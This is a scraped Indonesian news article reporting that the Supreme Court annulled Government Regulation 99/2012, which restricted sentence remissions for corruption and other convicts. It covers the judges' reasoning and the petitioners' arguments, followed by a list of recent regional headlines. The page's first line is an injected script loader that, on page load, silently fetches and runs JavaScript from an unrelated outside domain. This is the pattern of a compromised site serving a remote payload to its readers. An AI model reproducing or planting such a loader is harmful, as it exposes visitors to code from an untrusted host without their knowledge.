(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

MA Batalkan PP 99/2012, Aturan yang Perketat Pemberian Remisi Koruptor


KANALKALIMANTAN.COM – Mahkamah Agung (MA) resmi membatalkan Peraturan Pemerintah (PP) Nomor 99 Tahun 2012 yang mengatur pengetatan pemberian remisi bagi pelaku tindak pidana korupsi, narkotika, terorisme dan lainnya. Menurut pertimbangan Majelis Hakim, persyaratan mendapatkan remisi tidak boleh bersifat membeda-bedakan.

Keputusan tersebut diambil oleh Ketua Majelis Supandi, Hakim Anggota Majelis Yodi Martono dan Is Sudaryono. Adapun pemohon ialah mantan kepala desa Subowo dan empat orang lainnya yang menjadi warga binaan di Lapas Klas IA Sukamiskin Bandung.

“Putusan kabul hum (hak uji materiil),” demikian tertera dalam ringkasan perkara Nomor 28 P/HUM/2021 yang dikutip Suara.com, Jumat (29/10/2021).

Majelis hakim menimbang kalau fungsi pemidaaan tidak lagi sekedar memenjarakan pelaku agar jera. Akan tetapi usaha rehabilitasi dan reintegrasi sosial yang sejalan dengan model restorative justice.

 

Baca juga : Sembilan Paket Sabu Antar ZA ke Tahanan Polsek Banjarmasin Selatan

Menurut UU Nomor 12 Tahun 1995 sebagai aturan teknis pelaksana harus mempunyai semangat yang sebangun dengan filososi pemasyarakatan yang memperkuat rehabilitasi dan reintegrasi sosial serta konsep restorative justice.

“Berkaitan dengan hal tersebut maka sejatinya hak untuk mendapatkan remisi harus diberikan tanpa terkecuali yang artinya berlaku sama bagi semua warga binaan untuk mendapatkan haknya secara sama, kecuali dicabut berdasarkan putusan pengadilan,” ujarnya.

Majelis Hakim juga menimbang bahwa persyaratan untuk mendapatkan remisi tidak boleh bersifat membeda-bedakan dan justru dapat menggeser konsep rehabilitasi dan reintegrasi sosial yang ditetapkan serta harus mempertimbangkan dampak overcrowded di lembaga permasyarakatan.

Kewenangan untuk memberikan remisi menjadi otoritas penuh lembaga pemasyarakatan yang dalam tugas pembinaan terhadap warga binaannya tidak bisa diintervensi oleh lembaga lain apalagi bentuk campur tangan yang justru akan bertolak belakang dengan pembinaan warga binaan.

 

Baca juga : Ketua GOW Balangan: Anak-anak Harus Terus Mendapat Pendidikan Layak

Sebelumnya, pemohon Subowo dan empat orang lainnya mengajukan permohonan uji materiil terhadap Peraturan Pemerintah (PP) Nomor 99 Tahun 2012 yang mengatur pengetatan pemberian remisi bagi pelaku tindak pidana korupsi.

Alasan mereka mengajukan uji materiil tersebut lantaran menganggap PP 99/2012 itu bertentangan dengan sejumlah peraturan lainnya termasuk Undang-Undang Nomor 12 Tahun 1995 Tentang Pemasyarakatan (Pasal 14 ayat (1) huruf i dan k, Pasal 14 ayat (2), Pasal 1 angka 6, Pasal 1 angka 7, Undang-Undang Nomor 8 Tahun 1981 Tentang Kitab Undang-Undang Hukum Acara Pidana (KUHAP), (Pasal 1 butir 14, Pasal 1 butir 15, Pasal 1 butir 32) dan Undang-Undang Nomor 1 Tahun 1946 Tentang Kitan Undang Undang Hukum Pidana (Pasal 10, Pasal 15, Pasal 15a, Pasal 15b, Pasal 16).

Para pemohon juga menilai kalau PP 99/2012 tidak memiliki kekuatan hukum yang mengikat. Sehingga bisa dibatalkan demi hukum dan tidak berlaku umum. (Suara.com)

Editor : Suara


Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.